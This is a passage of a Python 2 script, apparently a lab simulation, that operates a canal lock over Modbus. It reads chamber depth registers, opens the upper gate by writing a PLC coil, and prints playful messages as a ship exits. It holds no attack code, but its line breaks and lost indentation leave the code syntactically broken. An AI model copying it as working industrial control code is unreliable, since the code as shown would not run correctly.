if not read: #if error in reading position
print("Problem reading reservoir_equal.")
else: #if no error in reading value
reservoir = c.read_input_registers(reservoir_depth,1)
print "\nWaiting for chamber to fill to sill height
[2150] plus", reservoir
while (read[0] != 1):
#wait for chamber to fill
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber depth: ", chamber
read
=
c.read_coils(reservoir_equal,1)
#read
again
time.sleep(3)
chamber = c.read_input_registers(chamber_depth,1)
print "Chamber is full. Chamber depth:", chamber
#Open upper gates; write 1 to %QX0.0
command_work
=
c.write_single_coil(upper_gate_open,True)
#send open command to upper gate
if not command_work:
#if error in sending command to
upper gate
print("Could not open upper gate, 1 to %QX0.0")
print("\nUpper gate opening.")
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#Wait for gate to finish moving; %IW2 must equal gate_min
read = c.read_input_registers(upper_gate_sense,1) #read upper
gate position
if not read: #if error in reading gate position
print("Problem reading upper gate position.")
else:
#if no error in reading value
while (read != [9000]): #wait for chamber to fill
print "Waiting for upper gate to open. Current
position:", read
time.sleep(3)
read = c.read_input_registers(upper_gate_sense,1)
#read again
print("Upper gate is open.")
##Wait for ship to exit
##Have a pause for 3-5 minutes
delay = random.randint(1,3) #was 180, 300
print '\nDelay time is ', delay, ' seconds.\nShip exiting
now.\n'
time.sleep(delay)
print "\n
No one's here!\n\n\n ~ ~ ~ ~ ~ ~ ~ ~
~ ~ ~ ~ ~ ~\n ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~\n"
print("Ship has exited. Buh-bye now!")
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